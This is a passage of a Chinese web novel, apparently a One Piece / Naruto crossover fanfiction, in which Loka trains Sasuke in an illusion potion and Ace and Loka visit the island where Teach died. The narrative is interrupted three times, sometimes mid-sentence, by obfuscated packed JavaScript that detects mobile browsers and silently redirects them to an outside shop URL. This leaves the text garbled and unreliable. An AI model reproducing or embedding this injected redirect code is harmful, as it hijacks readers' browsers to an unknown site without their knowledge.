她抬头朝艾斯粲然一笑,“叫他做好准备,接受我的特训吧。” 28. 028 028 “哥哥,我总觉得她在打什么坏主意。” 去炼药房的一路上佐助的神情都有些紧张,“之前我当着大家的面说穿她想通过自残的方式救她婆婆那事,她还没来得及报复回来……” 艾斯哈哈大笑:“过去之事不可追,那件事她早已想通了!” 佐助有些惊讶:“她决定不回去救婆婆、也不去救她那些族人了?” “如果救了一个人,难保不会想要继续去救第二个、第三个,到时候连自己的命都换了出去,那就连仇都报不了了,佐助。” 走到炼药房门前时艾斯停住了脚步,在佐助背上拍了拍,“去吧。” 其实佐助心中还是有些踌躇,但又不愿在哥哥面前显示出胆怯来,只好挺挺脊背,上前敲了敲门:“……早上好。” 只此一句,再没下文了。 艾斯在后面看得有些替他着急,正准备上前帮他说几句话,只听屋内传来一声轻喝:“进来!” 佐助推门进去,见洛卡正浮在半空中,往一个透明的、装满可疑液体的玻璃缸里倒一盆可疑的浅棕色粒装固体物。 他转头朝站在门外的艾斯低声控诉道:“哥哥!她果然是想报复我!” 艾斯赶紧安抚他:“我也进过那玻璃缸,还不止一次,这不是什么事也没有吗?还开发出了新招式呢。” 佐助更加震惊了,自动忽略了他的后半句话:“哥哥你竟然曾被她逼迫做过那么危险的实验吗?她往里面倒的都是些什么东西?哥哥真的没有大碍?” “这个东西嘛。”洛卡好心地为他解释起来,“东方人叫望月砂,有去翳明目之效,说白了就是野兔子的粪便。你哥哥忙活了好几个晚上才替你找齐的,千万别叫他的心血白费了。” 佐助看了看身后那玻璃罐又回头看了看艾斯:“那真是你为我找来的吗,哥哥?” 艾斯坦然地点头:“是啊。我和洛卡讨论过,因为幻术也是你主修的术式之一,所以药性更强烈,幻境中也不会出现任何与你的过去格格不入的人或事,得靠你自己从幻境中醒过来才行。” 佐助咬了咬牙,眼中有激烈的情绪升腾又熄灭,内心拉扯几番后他下定决心之后转过身,视死如归地朝那玻璃罐走去,抬头看了洛卡一眼:“……直接钻进去就行吗?” 洛卡见魔药融合得差不多了,从半空中慢慢落到地上:“可以了,去吧。四个小时之后我会强行把你唤醒,再换一次新药。” 佐助心下还是存疑:“四个小时?” “你这一锅魔药是我重新配的,四个小时之后如果你还不出来,恐怕要被这魔药烧坏脑子。”洛卡知道他不肯信任自己,故意提了艾斯的事,“你和你哥哥的情况不同,他到幻境之后,除了第一遭有些不熟悉被幻境里的事物迷惑了之外,几乎全程都将现实和幻境分得非常清楚。” 洛卡故意隐去了艾斯能在幻境里看到她这一节,语气看似和缓,实则对佐助步步紧逼,“我不能确定你的心性是否也如你哥哥一般坚韧,一旦相信了幻境中的人和事、不慎沉浸其中不能抽身,可就彻底回不来了。” 佐助在她的言语刺激下几度握紧了拳头:“……感谢提醒。可以开始了吗?” * 距离佐助主动跳进那魔药里已经过去两个小时,洛卡还在思考如何调整魔药的配方。 艾斯从刚才开始就一直在捣鼓着什么,她没空在意;直到将手里的古书草草翻完,她才怅然地叹道:“就没有什么能短时间内让人听话臣服的配方吗,次次都得跟佐助玩心眼也太累人了。” 传达信息的同时还得小心地调整言灵术的力度不被他察觉,这让原本打算离开海军之后先休息一段时间的洛卡久违地感到一丝被迫上班的疲惫,“可恶,下次让他叫我一声洛卡姐姐来听听。” “就这点事你还大张旗鼓用什么言灵术,我直接同他说一声不就好了。”艾斯还在鼓捣他手上的活计,说话时并未回头,语气中的笑音却很明显,“按年龄来说,你本来就大佐助一岁嘛。” “唔……你是说由你下达指令,这样他就不得不执行了?”洛卡眼前一亮,“还得是你啊艾斯!是啊,这话不错,如果是你的意思,那就算他心有不甘也得照做,这样还更有趣!” 话音刚落,洛卡眼前忽然一暗,是艾斯往她眼前递了个物事。她定睛一瞧,竟是把扫帚。 帚柄是一根砂纸打磨过的青竹竿;帚头是由与竹竿同色的竹枝扎成,显然艾斯扎这扫帚时没想用它来扫地,帚头密实对称,竟是用骆驼毛扎成的。 洛卡愣愣地接过来:“你这是……” “你的扫帚在顶上战争开始后就不知道遗落到哪里去了。”艾斯解释道,“你自从到了船上之后就很少飞行,应该是找不到合心意的扫帚吧?我不知道你喜欢什么样的,按照自己的想法扎了一把扫帚给你。” “……噢,那真是多谢你了……” “对了,还有一条项链,是你送我的项链的回礼。我从我的私产里选了一块宝石。”艾斯从兜里拿出一个丝绒盒子,打开后递给了她,“这东西虽然没什么魔力,大概也帮不到你什么,但是碰巧跟你的眼睛颜色很像。” 洛卡伸手接过了那个盒子,看到一颗被银链子挂起来的水滴状蓝宝石,抬头见他正看着自己,不由自主地后退了半步:“这样……嗯,谢谢你。” “对了。”艾斯又不知从哪变出一个箱子来,“这是赔偿金。” 洛卡狐疑道:“赔偿金?”将那小木箱接过来打开盖子一瞧,险些被里头的红红绿绿的宝石闪瞎了眼,“这、这是什么?!” 艾斯奇道:“赔你房子的钱,怎么你自己还忘了?” “我……那……”她还真忘了,抱着箱子呆滞了一会儿才傻乎乎地笑开,“哎呦艾斯你怎么这么见外,那房子哪里值这么多钱。” 嘴上说了几句客气话,洛卡像是怕艾斯后悔似的迅速将那箱子收进了自己的水晶里头,收好了才又抱着那扫帚看了又看,“这个也好看。” “还有一件事。” 见她把那扫帚抱在怀里、面上只见惊奇却没有嫌弃,艾斯心中也松了口气,“你之前说要给我的新招式取个名字,现在想得怎么样了?” “……” 洛卡心中暗惊:这几天她忙着和佐助斗来斗去,丝毫没想起这回事来。当时他问起来的时候她怎么回答的来着,好像是……出去再说? 糟糕,还真的答应了。 “当然记得。”刚收了艾斯一大笔钱的洛卡硬着头皮道,“我已经想好了。” “真的?”艾斯高兴地从椅子上蹦了起来,眼底映出一派欣喜的雀跃,“什么?是什么?” 洛卡清了清嗓子,心虚地看向窗外:“你那招式,兼具灼目和燃烧的功能,灵感是来自燃烧不止的太阳吗?不如就叫……永昼白炎吧?” 她说完,久久不见艾斯回应。 洛卡脊背有些僵硬,战战兢兢地转过头来:“怎么你是不喜……” “谢谢你!”艾斯猛地扑过来抱住了她,相拥导致的体位交错让她没能看到艾斯眼底的熠熠光辉,“我特别喜欢!” 洛卡让他抱得有些喘不过气,呆了几秒才反应过来,在他热情的怀抱里伸出胳膊艰难地回抱了他一下:“你喜欢就好。” 艾斯松开了她,却仍紧紧抓着她的肩膀:“你是怎么想到的?” 洛卡不敢承认这是急中生智,只好含糊道:“看到太阳想到的……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052220|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>的确是看到太阳想到的,就在刚才。 艾斯高兴地在屋子里转了一圈:“这招式其实是从你的水晶球里学来的——你小时候总在家里独自看些不感兴趣的节目,恐怕连你自己都忘了。我在里头看到一个类似烟花的东西,竟能熔接许多我从未见过的金属,后来看得久了才弄懂那是电焊火花。” “……啊。”洛卡发出一声短促的惊呼,“我早该想到的,原来你是看了那些才……”想到这里她眉眼一弯,“你还挺聪明。语言不通的情况下也能知道那叫电焊火花。” “是你说给我听的。”艾斯笑道,“我听不懂水晶球里那些人的语言。第二次遇到你的时候,我努力地向你形容了那个‘烟花’的形状,你说那叫电焊火花。” “是吗?”洛卡歪头,有些疑惑,“第二次你遇到的也是小时候的我?我竟然热情到同你这个陌生人解释那些莫名其妙的东西?” “也不小了,大约十五六岁。”艾斯回忆了一下,面上的笑容慢慢消失了,“那时你已在军中,看到我时也很惊诧。但每次我只要说我是你婆婆留给你的使魔、来自一片东欧某处的森林,你总是会相信我,虽然过不了多久又会揭穿我。” 洛卡一愣。 “对了,有件事你或许会感兴趣。”说到海军艾斯犹豫了一下,还是提起了这件事,“今晨的报纸上写着,战国已经辞去元帅之位,由赤犬接任了。” 屋内陷入一片静默。 艾斯小心地看了一眼她的脸色,又说回了原来的话题:“说到使魔,小时候的你深信不疑,长大后的你倒是没有全信,但是或许是因为……” “因为实在没有人同我说话吧?”洛卡双手托腮趴在桌上,百无聊赖地看向窗外,“我到军中第一年便被分配到校场参与监督校场训练,当时遇到的教官正是斩杀了我父亲的海军。当时我还年少,不知道蛰伏潜藏、徐徐图之的道理,一见到他便用言灵术令他自尽了。” 从此再没有海军敢接近洛卡,除了战国和鹤。 “我曾经无数次想要如法炮制,用言灵术将战国也杀了。”洛卡长叹一口气,“这么多年,我对他试探过何止百次,大多数时候他对我都不设防,我也曾不止一次察觉到,杀他一个其实易如反掌。” “后来为什么放弃了?”艾斯想了想,又纠正了自己的说法,“你不止一次想要杀他、所以也不止一次放弃了杀他的念头吧?” “海军如果没有他,只会变得更糟糕。”洛卡苦笑,“他擅长计谋、心性坚韧,海军的确在他的统领之下做了许多正事。所以我认为,当初屠岛之事应该确实不是他的主意。当时我那么问他也不过是为了刺激他罢了。 “如果杀害平民不是战国的命令,那大概率是当时海军之中有人得了贵族授意,要杀光岛上居民,所以才会在处刑时主动朝人群开枪。如此不仅能彻底断了巫师一脉,还能封住曾有人背叛天龙人的丑闻——我在军中八年,倒也陆续找到了这些人。 这些人里,有些已经被灭了口,有些自屠岛后步步高升,我把他们拉下来可费了不少功夫。” 她无意识地摸了摸怀里的新扫帚,“但毕竟那些人已经死了不少,因此我掌握的事实也并不全面。总之虽然已经过去多年,但贵族对我族的叛逃仍然耿耿于怀,因此才会下令屠岛——但也并未赶尽杀绝,毕竟当时他们会留下我也是遵从贵族的命令。 贵族向来倨傲,认为只要胁迫我对他们用了永生之术,我的性命就被他们掌握在手里,只要他们死了我也必死,所以他们才敢放心地留下我吧。” 曾经她以为她能凭借这些鲜有人知的贵族罪行促使战国带领海军做出什么改变。然而他竟然辞去了元帅之位——是被迫担责,还是心灰意冷主动放弃了呢? 29. 029 029 四个小时后,洛卡打开玻璃罐的上盖,让艾斯把昏睡其中的佐助拖了出来。 艾斯把湿淋淋的佐助拎出来放在了椅子上,晃了晃他的肩膀叫了他好几遍,佐助还是没有丝毫醒来的迹象。 坠入梦中的佐助眉头紧皱、脸色苍白,被艾斯晃了几回肩膀之后竟开始浑身颤抖,吓得艾斯缩回了手,也不敢再叫他,僵硬地站在原地有些无措地望向洛卡——直到洛卡端来一壶冷茶,掀开茶壶盖将整壶茶猛地泼到佐助脸上。 佐助倒吸一口冷气,冷茶扑面带来一瞬间的窒息感,他在这窒息感中猛地睁开双眼,一眼看到的便是一脸担忧的艾斯。 他大口喘息了一阵才慢慢冷静下来:“哥哥,我……” “无论看到什么都没关系。”艾斯顺了顺他的脊背,像在摸一只炸毛的猫,“那些都过去了。” “下次把时间设定成三小时吧。”洛卡仔细打量了一番佐助的脸色,“这样下去怕是不行。明天先休息,隔一天再说。” “不。”佐助也不知哪来的力气腾地从椅子上站起,开口时声音却透着几分难以掩饰的虚弱,“我马上就可以再进一次。” 然而一站起来他就感到头晕目眩,又不甘心地跌坐回椅子上。 洛卡皱了皱眉,斟酌道:“要不,艾斯你先去把玻璃罐里的魔药倒了,再给佐助拿一身干净衣服来?” 艾斯知道她是要支开他,看了看洛卡又看了看佐助,还是听话地扛起玻璃罐转身出了屋。 “所以你在里头到底看到什么了?”洛卡坐到他对面,想倒一杯茶给佐助时才想起那壶茶已经让她泼出去了,“情绪这么激动,比你哥哥可差远了。” 佐助抬头看了她一眼:“你不用拿我哥哥来套我的话。”静了几秒,他才再次开口,“写轮眼使用过度会导致失明的事……可以先不要告诉我哥哥吗?” 幻境中画面破碎信息混乱,但他还是从某个画面中的鼬那里得知了此事:因为写轮眼用多了会导致失明,所以鼬才把佐助留了下来,以便将来换眼、恢复视力之用。 他果然提起了这件事。 洛卡沉吟了一会儿:“可以。但这种事是瞒不住的,到时候你预备怎么办?” 佐助没吭声。 洛卡叹了口气:“实在严重又别无他法的情况下,我也可以瞒着你哥哥为你施加祝福——但千万别想着现在就回到那个世界去,你现在对万花筒还不是太熟悉,去了那里大概率打不过你那个亲生哥哥……” “我的哥哥现在只有艾斯一个。”佐助忍不住打断了她,话一出口才意识到这样对洛卡有些不太礼貌,再开口时声音低了一些,“……抱歉。” 这次洛卡倒是破天荒地没同他计较:“你现在知道你那位……生理学兄长并非直接导致宇智波灭族的元凶了,之后打算怎么办?” 佐助抬起头,眼底升起汹涌的恨意:“他完全认同木叶高层对宇智波的做法,心甘情愿为那个筹谋了这一切的木叶高层顶罪、甚至不惜为此成为叛忍,那无论发生什么事,他都是我的敌人。” “木叶高层?”洛卡略一思忖,“是那个脑袋上缠着绷带、下巴上有一个叉形伤痕的老登吗?那是志村团藏。” 佐助低头,喃喃地重复一遍:“……志村团藏。” 其实进入幻境之后,佐助不止一次怀疑过眼前的一切是不是洛卡故意设局骗他——直到他看到团藏率领部下趁夜血洗宇智波一族之后站在一地尸体跟前、神色堪称平静的宇智波鼬,他忽然想通了其中的关节:洛卡根本没必要因为这个骗他,他记忆中的宇智波鼬的确就是这么一个能眼睁睁地看着族人去死的人。 ——“你之前说,让我留下你弟弟?” 幻境中的团藏冷眼看着宇智波鼬,“那你准备用什么来换你弟弟的命?” “我会担下灭族的罪名叛离木叶。”十三岁的宇智波鼬站在团藏跟前,“只有一个条件——我离开前,想见我弟弟一面。” 之后他见佐助的那一面也的确深深地刻在了佐助的脑子里——七岁的佐助醒来只看见满地族人的遗体,鲜血淌了满地,族中无论是会上前线的忍者还是在后方负责后勤的普通人全部死于非命。 他沿着几乎被血浸透的街路追了出去,看到了正在长街之上等着他的宇智波鼬。 鼬用一种残忍的、高高在上的语气对佐助说,等哪一天他也拥有了一样的眼睛,才有资格去复仇。 说话时那双赤红的双瞳就那样漠然地盯着佐助。 佐助无意识地抬起手臂,用指腹轻触了一下自己的眼睛。 “说起来。”洛卡见他久久不语,只好说点什么试图引起他的注意,“你到这里来的时候大概只有一勾玉吧?你是如何一路开到万花筒的?” 佐助缩在椅子上沉默了半天,似乎是在想到底要不要告诉她。最终他还是开口了:“我们三个……我们原本是三个人,我七岁那年来了这里之后同时遇到了艾斯和萨博。后来萨博决定出海,在出海时连人带船遇到了爆炸——那时候开到了三勾玉。 接着是之前我和哥哥出海追杀蒂奇的时候,蒂奇那混账一早就把我们的行踪卖给了海军,哥哥救了我,但我什么也做不到……” “是那时候开了万花筒啊,原来如此。”洛卡点了点头,柔声道,“其实我也不太清楚在幻境之中时使用瞳术是否会对你本人产生损耗,以防万一你还是注意一下使用频率。” 佐助嘴里说了句“知道了”,心下却有些诧异:这女人什么时候开始关心除哥哥之外的其他人了? 洛卡不知道他心中所想,只是忽然想起来一件要紧事——对了,萨博!眼下兄弟俩应该都不知道萨博其实还活着,要告诉他们吗? 等一等,如果说这个世界因穿越者的到来已经产生了变动,那萨博真的还活着吗?她真的应该说出来吗?若是说了,至少艾斯一定会深信不疑,从此满怀希望地踏上寻找萨博之路吧? 若是希望的尽头什么也没有呢? 洛卡捏着一只空茶杯绕着佐助走了三圈,想到最后还是决定先按下此事,于是抱着那只茶杯停下来对着空气长叹一声,又回到佐助对面坐了下来。 佐助不明白她突然之间发什么癫,疑惑之时又听洛卡发问:“所以,你确定是要回去报仇了对吧?” 佐助更疑惑了:“事到如今怎么还问这个?” “就是再确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052221|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认一下嘛。”洛卡笑道,“当初我进海军的头两年都沉浸在负面情绪里,到第三年才慢慢意识到,因为杀过海军所以我不可能在海军内部找到任何同盟,只能寄希望于海贼;紧接着我又想起,按正常时间线的话再过个五六年艾斯就该被关进推进城了,正好政府提出了针对能力者的研究,我才找到机会提出了推进城的项目……” 佐助不悦之余却又并不意外:“所以你从一开始就盯上我哥哥了?” “不要生气嘛,推进城里关的大多都是穷凶极恶的罪犯,你哥哥这样心性纯良又重诺守信的上哪找去。”洛卡伸出手臂朝他挥了挥,像安抚小狗似的,“我等了他五六年,期间将那计划推翻、细化了数不清多少次,现在终于都结束了,回忆起来却好似一场梦,没有一丝实感。” 佐助眼中泛起嘲讽之色:“你是在劝我放弃?” “当然不是。”洛卡倒没为他的态度生气,“是他们先草菅人命、滥杀无辜,那就别想高枕无忧地过完下半辈子——我只是觉得人生轨迹就这样被人轻易改变,多少有些不甘心罢了。” 说到这里她叹了口气:眼下她算是以休养的名义在船上白吃白喝,本职工作一点没干,偶尔想用魔法干点船上的活还会被船员用一种夸张的语调超大声阻止,好像她是个什么脆弱的琉璃摆件似的。 实在没有事干,只好折腾佐助逗个趣了。 不过她还是说了点正经事:“报完仇之后,你具体想做些什么,是还要跟着艾斯回到这里来、还是就留在那里了,一定要在开始之前就考虑清楚。” ——“考虑什么啊?” 恰逢此时艾斯一手扛着已经洗干净的玻璃罐、一手端着新泡的红茶走进门来,端着红茶的那条手臂上还挂着一个装了衣服的袋子,“你们俩竟然能面对面坐下来心平气和地说这么久的话,实在很令人欣慰。” 洛卡赶紧站起来跑过去接过了红茶托盘,邀功似的对他说道:“就这一会确实挺老实的,我刚才说了一大堆他只急眼过一次,很有进步呢!” 佐助惊讶地转过头来:“进步?什么方面的进步?” 洛卡好心地为他解答:“就是类似于一个幼稚园小朋友乖乖地静坐一下午老师就会给一朵小红花的那种进步。” 说到这里洛卡忽然恍然大悟地问艾斯道:“所以你跟你弟能和睦相处这么多年是因为你进修了儿童心理学?” “儿童心理学?”艾斯放下玻璃罐疑惑地挠了挠头,“这种有了弟弟就能无师自通的东西还需要特意学吗?” 艾斯会这么说倒不一定是故意的,但佐助还是让他俩气得头顶冒烟,一怒之下伸手抓住挂在艾斯手臂上的那袋衣服,抬起头来昂首挺胸地出门去了。 洛卡往外追了几步,憋着笑对佐助的背影喊道:“背上包还更像幼稚园小朋友了呢佐助君!记得后天还来呀佐助君,别睡过头迟到了佐助君!” 佐助步子跨得更大了。然而疾走几步他忽然停下,又哐哐几步赶了回来在门口站定,似乎是犹豫了好一会儿才又抬起头来,耳廓已有几分泛红:“哥哥,等一切都结束之后我一定还会跟大家一起回到这里来的——我的家人都在这里,那里已经没有我的家了。” 30.030 030 两周后的一个风和日丽的早晨,洛卡想起来一件至关重要的事:“我说佐助,你应该还记得当初促使你来到此世的那个关键道具吧——也就是让你来到此世的那道门?” 佐助此时正准备跳进玻璃罐,闻言不得不停下了动作:“……其实我也不确定到底是哪个物件触发了此事。我来此之前因为和那边的人起了些争执被关了禁闭,屋内一片漆黑,且一切都发生得太快,我也没看清我到底碰到了什么。” 洛卡皱着眉头思考半晌:“不如你再回忆回忆?” “你还需要我那道门?”佐助有些惊讶,“你不是已经能独立开门了吗?” “有关键道具在我更好确定方向。”洛卡解释道,“确定锚点时能省去很多麻烦。” 佐助思考了几秒钟:“让我哥哥带你去找吧。现在我已经能分清现实和幻境了,你不必再守在这里等着唤醒我。” “也对。”洛卡朝他挥了挥手,迈步离开了炼药房,“那我去找艾斯了。” 出门的时候,洛卡听到身后传来极轻的一声谢。 * 艾斯带着洛卡进了集体宿舍,径直找到一个柜子打开最下面的大抽屉,取出一个手臂长的木箱子来:“佐助的东西都在这儿了,你看看有没有能让你产生感应的?” 说着他还向洛卡手腕上那条镶嵌着一颗紫宝石的银链看了一眼——她的手腕纤细洁白,青紫的血管蜿蜒其中,显出些难以掩饰的病态来。 她还是该多吃点饭。 洛卡打开箱子上盖,第一眼瞧见一个双眼大小不一、塌鼻梁厚嘴唇、从额头上两道八字刀痕上勉强看出有一个中分发型、背后还写着一串神秘数字的木雕小人:“这是什么东西?佐助私底下用来诅咒别人的傀儡人偶吗?” “不是啦,佐助怎么会是那种背后诅咒他人的卑鄙小人?”艾斯感慨地摸了摸那木人胖到分不出五指的右手,“这是小时候萨博雕的佐助小人,背后还刻着他的生日呢。” 洛卡惊讶地张了张嘴,违心地称赞了一句“这竟然是佐助吗那很心灵手巧了”便将那小人放了回去,又从箱子里拈出一块毛毡质地的圆形布料:“这是……手工材料?你们小时候还挺有童趣的。” “是萨博以前戴的帽子的一角。”艾斯凑近看了一眼那毛毡,“在某次和过路盗贼的决斗中被打落,找回来时只剩这么一点了。” 洛卡小心将它放了回去,拿出一枚缺了一角的手里剑:“这总该是佐助的东西吧?” “这是佐助曾经送给萨博的礼物。” “……”洛卡又摸到一截生了锈的硬金属:“那这个……” “是萨博曾经用过的钢管的一角。” 她捏着那截碎片沉默了一下,又抓出来一根多处起球褪色的细布条:“这该不会也是萨博的东西吧?” “是啊。”艾斯点点头,“那是萨博的鞋带。” “鞋带?怎么连萨博的旧鞋带也会出现在这种类似封存了佐助整段童年记忆的宝箱里啊?”洛卡惊诧地瞪大了双眼,“佐助莫非是萨博的私生饭吗?” 艾斯疑惑道:“私生饭是什么意思?” 洛卡犹豫半天还是没说真话:“……就是很疼爱萨博很喜欢萨博喜欢到想要把他生出来每天都喂他吃饭的意思。” “……”艾斯惊讶地消化了好一会儿,“这,可佐助也不能生啊?” “啊那也不是说非要真的生出来,只是一种精神状态而已……算了那都不重要。”洛卡把那箱子往艾斯怀里一推,“这些东西如果原先都属于萨博,那就大概率不会和那道门有关系啦。” 艾斯困惑地接过箱子:“但佐助来的时候似乎也没带什么特殊的东西……”他收起箱子放回柜子里,“其他东西也都是他来了这里之后才有的,你要看看吗?” 洛卡跟在他后面打量着艾斯翻出来的一件件东西,无非是些衣物日用之类,没什么稀奇的。她百思不得其解:“如果他来时什么都没有,那到底是靠什么开了那道门……” 翻着翻着,洛卡忽然瞟到一个约三尺长的卷轴似的东西,便好奇地问了一句:“那是什么?” “那是佐助上船后为了方便传讯和转移自创的一个术式……” 洛卡歪头看了它一会儿,忽然伸手去拿——指尖接触到那卷轴之前,卷轴忽然从框中跃起,绑在两端的丝带自动滑落,黑色的卷轴哗啦一声迅速展开,还没等洛卡看清上头那些复杂的纹样和咒语,她便觉身形一晃,是那卷轴正试图将她拉进那术式之内! 艾斯吓了一跳,慌张地喊了一声“洛卡”,伸手抓住了她的手臂,二人一道消失在了卷轴前。 * 醒过神来的时洛卡发现自己身处野外,眼前是望不到头的连绵青山,在视野的尽头处和碧海蓝天汇成一条青蓝色的线。她和艾斯正处于山脚的位置,周围长满了足有膝盖高的野草,中间夹杂着一两朵浅黄色的小花。遥远的山间吹来一阵青草味的山风,险些把没来得及站稳的洛卡刮倒。 洛卡在绵软柔韧的绿草间艰难地前行了几步,被赶到她身边的艾斯揽过肩膀一把捞到了他的背上:“你没事吧洛卡?” 她下意识地环住了他的脖子:“……没事。这里是哪啊?” 或许是因为视野变高,她抬头便看到远处的树林外侧有大片烧焦的痕迹,焦土之中寸草不生。 艾斯解释道:“这里就是我和佐助追击蒂奇、最终将其杀死的地方。” 洛卡记得,在原剧情中艾斯因为不知蒂奇实力深浅、在意识到自己其实不敌对方后仍然不肯后退逃避等原因输给了对方,最终被抓进了推进城。 如果蒂奇确实死了,那佐助应该是在很大程度上帮助了艾斯——那艾斯最后是怎么被抓的呢? 这时艾斯已经背着她走到了那一大片焦土中间,找了块岩石让她稍坐:“那卷轴是佐助的东西,上面画着类似瞬移的术法,上一个标记的地址就是这里。你不要担心,佐助结束训练后察觉到异状会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054969|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把我们召回去的。” 洛卡抬头看了一眼天色:“他现在训练时间基本稳定在四个小时左右,等他从玻璃罐里爬出来天都黑了。” “没事,那我们在这儿待会儿吧。”艾斯朝树林里望了一眼,“我去给你摘点蘑菇,之前说要给你烤蘑菇,还没烤过呢。” 他说着便往树林深处去了。此时艾斯脖子上还带着洛卡送的那条注入过魔力的项链,无论他走出多远她都能掌握他的位置,因此倒也没拦着。 艾斯不在,闲着也是闲着,洛卡干脆从岩石上跳了下来,开始观察这片焦土。 表面的土壤已经被烧成粉末状,呈现出比周围更深的黑色,靠近中心的位置甚至呈现出偏近深红色的状态,被附近倒下的树木遮盖了一半。那树也是被烧死的,树干被烧断,树梢上的绿叶已经枯萎。 她又仔细瞧了瞧那棵树:树干断口不齐,未烧毁的树皮上有多处利器划过的伤口,其中一个是被利器刺入,切口约寸长,呈对称菱形——这莫非是苦无? 树林内没有被烧灼的痕迹,也没有太明显的血迹。树木、花草、石头的位置看起来都很正常,除了树林边缘那几棵倒下的树木之外林子里没有明显被毁坏、挪动的迹象。 真是奇了怪了,洛卡看了半天都没发现暗暗果实的痕迹。 ——“你问蒂奇的果实能力?” 抱着一大堆蘑菇拎着两只兔子回来的艾斯听到洛卡的问题愣了愣,然后笑了笑,“说实话我并未亲眼见过暗暗果实的能力,是佐助后来告诉我的。” 洛卡有些意外:“佐助告诉你的?口述吗?” “是啊,我的确低估了蒂奇,但蒂奇也低估了佐助。”艾斯找来一串细树枝串起来五六个蘑菇,在洛卡跟前生出一堆橘色的火焰,“佐助是异世之人,处事又向来谨慎,船上除了我之外只有老爹和马尔科知道这事,也甚少有人见过他的写轮眼。” “啊,我明白了。”洛卡恍然大悟,“就是蒂奇被佐助的写轮眼控住站那没动的情况下被你烧死了?” “差不多。一切都结束之后佐助才将他在幻境中看到的一切告诉我。”艾斯烤好一串蘑菇递给她,“他那几个同伴临死之前给海军发了信号弹,导致我和佐助两人被围困在这岛上,还好最后佐助还是脱身了。” 海军来得过于突然,那时佐助才用卷轴锚定了这座岛屿,正准备招呼哥哥一起回去,岸边忽有人声响起——是伪装成岛民的海军,几息之间便包围了这片树林。 双方交战时艾斯抛下从蒂奇脖子上扯下来的、已然焦黑的头颅,几步赶到佐助身边,不顾佐助的大声呼喊趁他回收钉在树干上的苦无的工夫将他打入卷轴之内,并赶在赤犬追入树林之前烧毁了那卷轴。 “卷轴?”洛卡忽然抬起头,抓住了他话里的那个关键词,“我好像知道当初在推进城内的时候你为什么会和我的魔法阵产生共振了——过去几年你用这卷轴的次数一定也不少吧?我的魔力大概是在你身上嗅到佐助的气息了!” 31.031 031 “你是说那卷轴就是佐助的那道门?”艾斯有些疑惑,“但佐助研究出此法的时候都快十五岁了。” “或许他自己忘了,或者说从一开始就没能看清那物件的模样。所以这道门在多年后才回到他身边。”洛卡推测,“无论如何,十年前他都已经具备了开启那门的资质,也就是强烈的离开那里的决心,这也意味着挣脱宿命的可能性。” “挣脱宿命?” “佐助原先的路子是先误认为亲生兄长便是仇人,叛离村子后一路寻仇,终于找到他那兄长后又得知灭族之祸是木叶高层一手酿成,于是转头回村复仇。到这里其实都是合理的,不合理之处是佐助后来竟然又回到了木叶,好似换了个人一般竭尽全力为木叶做起事来。 他这被夺舍一般的行为一般被认为是‘赎罪’,也就是说,他原先竭尽全力才完成的复仇行为的内在逻辑完全被推翻,而佐助自己也认同了这种全盘否定,从此他身上再也见不到过去的佐助的半点影子了。” “……你是说这就是佐助的宿命?”艾斯皱着眉听完,“这根本不是佐助。” “佐助同我说过,他离开那里之前被关了禁闭,但我记忆中他一直都是优等生,实在不记得他什么时候被关过禁闭……不知道他一个人在禁闭室内想了些什么,或许是那些想法让他身上的后续剧情与原先的剧情线产生了偏差,为了不让世界线产生太大的变动,那边的世界干脆把他吐了出来。” “竟然还会这样。”艾斯惊叹一声,“那你们家族……岂不是能左右所有一切的走向?” “那太难了。如果只是帮佐助复仇也没什么,毕竟在那边佐助的复仇还尚未发生,尚未发生的事情虽然可以改变,但是太贪心还是会遭天谴的。”洛卡伸出手指了指那湛蓝的天空,“说到底,我也只不过是因为婆婆过世才被拉进来填上的备选罢了。” 能走到这一步,真是神明庇佑。 “说起来。”洛卡忽然想到另一件事,说话时忽然急切起来,“你刚才说你让佐助走后毁了那卷轴?前后经过可以都告诉我吗?” “啊,让我想想。” 艾斯以为自己早已忘了被抓进推进城之前的事,可如今想来却连细节都一清二楚,可见赤犬此人给他留下了多深的印象。 那时他还未掌握在洛卡的幻境里学会的白炎,温度一般的火焰在赤犬跟前几乎没有招架之力,若不是艾斯多年来都充当佐助的陪练,好歹练下一身体术,反应也算机敏,恐怕连那一会都拖不住。 佐助见了此状赶紧来帮,那时他也还未完全练成武装色,千云渡也不过是他脑中一个想法而已,尚未成形。雷针和穿云索均被赤犬的霸气挡下,周围的海军还在不断地对他们发起攻击。 艾斯在这样的情况下本就左支右绌逐渐不支,还要防着周围绵密的军火伤到佐助。他在赤犬周围布满萤火试图遮挡他的视线,同时吩咐佐助:“我们同在一处也不占什么优势,那树林里有处沼泽,你将海军引到那里,我们还轻松些。” 